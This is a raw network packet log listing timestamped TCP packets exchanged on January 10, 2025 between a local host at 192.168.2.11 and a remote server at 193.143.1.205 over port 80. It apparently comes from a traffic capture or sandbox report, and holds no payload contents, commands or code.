Jan 10, 2025 22:51:29.010941029 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010941029 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.010973930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010986090 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.010991096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011243105 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.011353016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011364937 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011378050 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011429071 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.011429071 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.011570930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011583090 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011596918 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011609077 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011620998 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011634111 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011642933 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.011648893 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011657000 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.011662960 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.011679888 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.011696100 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.012165070 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012178898 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012191057 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012232065 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012233019 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.012244940 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012257099 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012280941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.012298107 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.012383938 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012396097 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012408018 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012420893 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012434006 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012475967 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.012475967 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.012500048 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012514114 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.012586117 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.013104916 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013154984 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013169050 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013175011 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.013207912 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.013290882 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013303995 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013314962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013351917 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.013355970 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013369083 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013381004 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013394117 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013398886 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.013850927 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013904095 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.013911009 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013922930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.013962030 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.013962030 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.022058010 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.040014029 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040057898 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040071964 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040111065 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.040170908 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040184021 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040254116 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.040299892 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040312052 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040323019 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.040370941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.040370941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.071166039 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.080260038 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.080272913 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.080285072 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.080535889 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.090769053 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.109487057 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109510899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109520912 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109565020 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109580994 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.109638929 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.109721899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109735966 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109749079 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109770060 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109785080 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109790087 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.109790087 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.109797001 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109811068 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109822989 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109843969 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.109935999 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.109965086 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109977961 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.109988928 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.110012054 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.110045910 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.110055923 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.110074997 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.110105991 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.164644003 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.164660931 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.164751053 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.165572882 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.165628910 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.165643930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.165676117 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.165766001 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.165779114 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.165801048 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.165812016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.165838957 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.165838957 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166062117 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166102886 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166127920 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166141033 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166223049 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166289091 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166301966 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166313887 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166353941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166385889 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166399002 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166429043 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166445971 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166456938 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166469097 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166481018 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166495085 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166507006 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166521072 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166521072 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166600943 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.166615009 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166627884 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.166673899 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167112112 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167124033 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167135954 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167157888 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167218924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167228937 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167253971 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167290926 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167526007 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167546988 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167578936 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167603016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167614937 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167654991 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167742014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167754889 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167766094 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167778015 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167800903 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167838097 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167881966 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167893887 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167907953 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167921066 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.167979002 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.167979002 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168015003 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168026924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168123960 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168131113 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168133020 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168148041 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168169975 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168260098 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168272972 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168284893 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168298006 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168301105 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168311119 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168324947 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168351889 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168351889 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168437958 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168451071 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168462992 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168478012 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168498039 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168663979 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168675900 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168688059 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168699980 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168706894 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168720961 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168742895 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168742895 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168766975 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.168935061 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168946981 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168958902 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168971062 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168982983 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.168994904 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169003963 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169003963 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169008970 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169019938 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169035912 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169101000 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169229031 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169239044 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169251919 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169262886 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169275999 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169289112 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169300079 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169300079 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169301987 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169327974 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169434071 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169445992 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169459105 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.169511080 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.169545889 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.172514915 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.172584057 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.172595978 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.172620058 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.173717022 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174096107 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174154997 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174158096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174190998 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174202919 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174240112 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174295902 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174308062 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174320936 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174351931 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174351931 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174429893 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174441099 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174453974 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174468040 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174475908 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174514055 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174556017 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174567938 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174578905 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174592018 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174603939 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174627066 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174671888 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174704075 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174722910 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174736023 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174747944 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.174755096 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.174803972 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.188066006 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.243412971 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243438005 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243458986 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243473053 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243486881 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243500948 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.243545055 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243556023 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243583918 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.243616104 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.243755102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243798971 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243805885 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.243812084 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243824005 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243835926 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243849039 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243868113 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243881941 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243896008 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243906021 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.243906975 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.243910074 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.243946075 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.267240047 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267266989 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267280102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267291069 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.267335892 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267345905 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.267349005 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267362118 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267396927 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267432928 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.267452955 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.267927885 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267951012 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.267965078 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268007994 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268071890 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268085003 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268130064 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268141985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268155098 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268203020 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268408060 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268419981 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268455982 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268457890 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268496990 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268505096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268517971 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268558025 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268580914 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268594027 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268670082 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268671036 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268682957 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268721104 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268771887 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268783092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268796921 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268810034 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268824100 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268831015 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268862009 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.268910885 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268923044 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268963099 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.268969059 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269023895 CET	49709	80	192.168.2.11	193.143.1.205
Jan 10, 2025 22:51:29.269320011 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269392014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269402981 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269419909 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269431114 CET	80	49709	193.143.1.205	192.168.2.11
Jan 10, 2025 22:51:29.269455910 CET	49709	80	192.168.2.11	193.143.1.205
